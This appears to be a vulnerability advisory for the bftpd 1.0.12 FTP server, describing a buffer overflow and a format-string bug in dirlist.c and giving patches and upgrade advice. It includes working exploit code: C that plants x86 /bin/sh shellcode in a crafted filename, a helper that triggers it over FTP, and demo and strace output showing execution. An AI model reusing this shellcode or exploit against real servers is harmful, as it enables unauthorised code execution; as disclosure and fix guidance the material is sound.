COMMAND
bftpd
SYSTEMS AFFECTED
bftpd-1.0.12
PROBLEM
Christophe Bailleux found following. bftpd is a Linux FTP server
with chroot and setreuid. Not all FTP commands are included. It
accesses either the user's home directory or its. ftp
subdirectory, and user authentication is via passwd/shadow or PAM.
The lastest version of BFTPD has potentials security problems in
the fuctions "sendstrf" and "dirlist" inside the "distlir.c" file
when the generated file by the output of the LIST and NLST
commands is above 200 chars or holds strings form type %p%p%p%p
A) Code problem
===============
bftpd-1.0.12/dirlist.c - In the function "sendstrf":
21 int sendstrf(int s, char *format, ...) {
22 va_list val;
23 char buffer[256];
24 va_start(val, format);
25 vnprintf(buffer, format, val); // Buffer Overflow
26 va_end(val);
27 return send(s, buffer, strlen(buffer), 0);
28 }
- In the function "dirlist"
60 else
61 foo = 1;
62 sendstrf(s, entry->d_name); // Format Bug
63 }
B) Demo / gdb output
====================
a) Buffer overflow in the LIST command
1- demo
tshaw:~/longfile$ pwd
/home/cb/longfile
tshaw:~/longfile$ touch `perl -e 'print "A"x213'`
tshaw:~/longfile$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> ls
200 PORT 127.0.0.1:1858 OK
150 Data connection established.
drwxr-xr-x 2 1000 100 4096 Dec 8 02:53 .
drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 ..
-rw-r--r-- 1 1000 100 0 Dec 8 02:53 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
421 Service not available, remote server has closed connection
ftp>
2- gdb output
tshaw:/home/cb# gdb /usr/sbin/bftpd 29751
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
/home/cb/29751: No such file or directory.
Attaching to program: /usr/sbin/bftpd, Pid 29751
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
0x400e7514 in read () from /lib/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x $esp
0xbffffadc: 0x41414141
(gdb)
b) Format bug in the NLST command
1- demo
tshaw:~/longfile$ touch "%p%p%p%p%p%p%p%p%p%p"
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> nlist
200 PORT 127.0.0.1:1865 OK
150 Data connection established.
. .. 0xbffffd080x8049e500x804bb41(nil)(nil)0x10000000x804f4d8(nil)(nil)0x49
226 Directory list has been submitted.
ftp>
tshaw:~/longfile$ touch "%s%s%s%s%s%s%s"
Connected to localhost.
220 bftpd 1.0.12 at 127.0.0.1 ready.
Name (localhost:cb): cb
331 Password please.
Password:
230 User logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd longfile
250 OK
ftp> ls
200 PORT 127.0.0.1:1869 OK
150 Data connection established.
drwxr-xr-x 2 1000 100 4096 Dec 8 03:00 .
drwxr-xr-x 55 1000 100 4096 Dec 8 02:48 ..
-rw-r--r-- 1 1000 100 0 Dec 8 03:00 %s%s%s%s%s%s%s
226 Directory list has been submitted.
ftp> nlist
200 PORT 127.0.0.1:1871 OK
150 Data connection established.
. .. 421 Service not available, remote server has closed connection
ftp>
2- gdb output
tshaw:/home/cb# gdb /usr/sbin/bftpd 29526
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
/home/cb/29526: No such file or directory.
Attaching to program: /usr/sbin/bftpd, Pid 29526
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
0x400e7514 in read () from /lib/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x4008d196 in vfprintf () from /lib/libc.so.6
(gdb) where
#0 0x4008d196 in vfprintf () from /lib/libc.so.6
#1 0x40099f76 in vsnprintf () from /lib/libc.so.6
#2 0x804a417 in sendstrf (s=4, format=0x804f577 "%s%s%s%s%s%s")
at dirlist.c:26
#3 0x804a670 in dirlist (name=0x804b64b ".", s=4, verbose=0 '\000')
at dirlist.c:63
#4 0x8049e55 in do_dirlist (dirname=0xbffffd08 "", verbose=0 '\000')
at commands.c:314
#5 0x8049e95 in command_nlst (dirname=0xbffffd08 "") at commands.c:324
#6 0x804a37c in parsecmd (str=0xbffffd08 "") at commands.c:482
#7 0x804ad2a in main (argc=1, argv=0xbffffe54) at main.c:129
#8 0x400602e7 in __libc_start_main () from /lib/libc.so.6
(gdb)
It's not possible to exploit it with a standart exploit...
bftpd-1.0.12/login.c contains a piece of code using the "chroot"
and setregid functions, and denying the execution of /bin/sh or
another programz by a local user.
41 if(chroot(str)) {
42 fprintf(stderr, "421 Unable to change root directory.\r\n");
43 exit(0);
44 }
The remote exploit it's not possible.
With the following exploit, we can request bftpd (run by the user
"cb") to run the /bin/sh command.
/*
Creates a filname to exploit the bug in bftpd 1.0.12
Create the file, cwd in the shell directory and nlist the file directory.
Coded by korty <cb@grolier.fr>
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#define LEN 205
int main (int argc, char **argv)
{
char buf[LEN + 12];
int ret = 0xbffffa80;
int *p;
int fp;
char code[]=
/*
* Linux/x86
*
* toupper() evasion, standard execve() /bin/sh (used eg. in various
* imapd exploits). Goes through a loop adding 0x20 to the
* (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).
*/
/* main: */
"\xeb\x29" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */
"\x29\xc9" /* subl %ecx, %ecx */
"\x89\xf3" /* movl %esi, %ebx */
"\x89\x5e\x08" /* movl %ebx, 0x08(%esi) */
"\xb1\x07" /* movb $0x07, %cl */
/* loopz: */
"\x80\x03\x20" /* addb $0x20, (%ebx) */
"\x43" /* incl %ebx */
"\xe0\xfa" /* loopne loopz */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xd2\xff\xff\xff" /* call start */
"\x0f\x42\x49\x4e\x0f\x53\x48"; /* /bin/sh -= 0x20 */
if (argc > 1) {
ret += atoi(argv[1]);
fprintf(stderr, "Using ret %#010x\n", ret);
}
memset(buf, '\x90', LEN);
memcpy(buf + LEN - strlen(code), code, strlen(code));
p = (int *) (buf + LEN);
*p++ = ret;
*p++ = ret;
*p = 0;
fp = open(buf, O_CREAT);
if(fp < 0) perror("buf");
close(fp);
}
Run netcat on the port 1028 (nc -l -p 1028) and use that program.
#include <stdio.h>
int main()
{
#define USER "cb"
#define PASS "PasSwoRd"
#define PORT "port 127,0,0,1,4,4" // Data on the port 1028 with the addr 127.0.0.1
#define CWD "cwd longfile"
#define LIST "list"
printf("user %s\n", USER);
sleep(1);
printf("pass %s\n", PASS);
sleep(1);
printf("%s\n", PORT);
sleep(1);
printf("%s\n", CWD);
sleep(1);
printf("%s\n", LIST);
}
Demo:
tshaw:~/longfile$ gcc -o exploit exploit.c
tshaw:~/longfile$ ls
exploit* exploit.c list.c
tshaw:~/longfile$ ls
exploit* exploit.c list.c
tshaw:~/longfile$ ./exploit
tshaw:~/longfile$ ls
exploit*
exploit.c
list.c
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
\220\220\220\220\220\220\220\220\220\220\220\220\313)^)\311\211\323\211^\b\221\a\200\003\ C
\300\332)\300\210F\a\211F\f\220\v\203\323\211K\b\211S\f\311\200)\300\@\311\200\310\322\333
\333\333\013BIN\013SH\200\332\333\233\200\332\333\233*
tshaw:~/longfile$
tshaw:~/longfile$ gcc -o list list.c
tshaw:~/longfile$ nc -l -p 1028 &
[1] 29973
tshaw:~/longfile$
tshaw:~/longfile$ (./list ; cat) | nc localhost 21
220 bftpd 1.0.12 at 127.0.0.1 ready.
331 Password please.
230 User logged in.
200 PORT 127.0.0.1:1028 OK
250 OK
150 Data connection established.
drwxr-xr-x 2 1000 100 4096 Dec 8 04:06 .
drwxr-xr-x 55 1000 100 4096 Dec 8 04:02 ..
-rw-r--r-- 1 1000 100 323 Dec 8 04:06 list.c
-rwxr-xr-x 1 1000 100 11931 Dec 8 04:06 list
-rw-r--r-- 1 1000 100 2178 Dec 8 03:54 exploit.c
-rwxr-xr-x 1 1000 100 12861 Dec 8 03:56 exploit
-r-xr--r-- 1 1000 100 0 Dec 8 03:56
ë)^)ɉ󉱀 Càú)ÀˆF‰F
°
‡óS
Í€)À@Í€èÒÿÿÿBINSH€úÿ¿€úÿ¿
[1]+ Done nc -l -p 1028
tshaw:~/longfile$
Strace output:
tshaw:~# ps -aef |grep bftpd
cb 30128 62 0 Dec04 ? 00:00:00 bftpd
root 30136 30024 0 Dec04 ttyqa 00:00:00 grep bftpd
tshaw:~# strace -p 30128
read(0, "\n", 4096) = 1
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
setsockopt(4, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(4, SOL_SOCKET, SO_SNDBUF, [65536], 4) = 0
bind(4, {sin_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0
connect(4, {sin_family=AF_INET, sin_port=htons(1028), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0
write(2, "150 Data connection established."..., 34) = 34
open("/dev/null", O_RDONLY|O_NONBLOCK|0x10000) = -1 ENOENT (No such file or directory)
stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
open(".", O_RDONLY|O_NONBLOCK|0x10000) = 5
fstat(5, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
fcntl(5, F_SETFD, FD_CLOEXEC) = 0
brk(0x8052000) = 0x8052000
getdents(5, /* 7 entries */, 3933) = 328
stat("./.", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
send(4, "drwxr-xr-x 2 1000 100 "..., 58, 0) = 58
stat("./..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
send(4, "drwxr-xr-x 55 1000 100 "..., 59, 0) = 59
stat("./list.c", {st_mode=S_IFREG|0644, st_size=323, ...}) = 0
send(4, "-rw-r--r-- 1 1000 100 "..., 63, 0) = 63
stat("./list", {st_mode=S_IFREG|0755, st_size=11931, ...}) = 0
send(4, "-rwxr-xr-x 1 1000 100 "..., 61, 0) = 61
stat("./exploit.c", {st_mode=S_IFREG|0644, st_size=2178, ...}) = 0
send(4, "-rw-r--r-- 1 1000 100 "..., 66, 0) = 66
stat("./exploit", {st_mode=S_IFREG|0755, st_size=12861, ...}) = 0
send(4, "-rwxr-xr-x 1 1000 100 "..., 64, 0) = 64
stat("./
ë)^)ɉ󉱀 Càú)ÀˆF‰F
°
‡óS
Í€)À@Í€èÒÿÿÿBINSH€úÿ¿€úÿ¿", {st_mode=S_IFREG|S_ISUID|0544, st_size=0, ...}) = 0
send(4, "-r-xr--r-- 1 1000 100 "..., 270, 0) = 270
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
_exit(-1073743151) = ?
tshaw:~#
If we disable the chroot function in login.c, the exploit works.
SOLUTION
A) Buffer Overflow
===================
In bftpd-1.0.11/dirlist.c modify the line 25
vsprintf(buffer, format, val);
by
vsnprintf(buffer, sizeof(buffer), format, val);
B) Format Bug
===============
In bftpd-1.0.11/dirlist.c modify the line 62
sendstrf(s, entry->d_name);
by
sendstrf(s, "%s", entry->d_name);
There were a lot of bugs in version 1.0.12. Most of them have
already been fixed about half a month ago, but there was no new
version at that time. Now that 1.0.13 has been released, everyone
is urged to upgrade.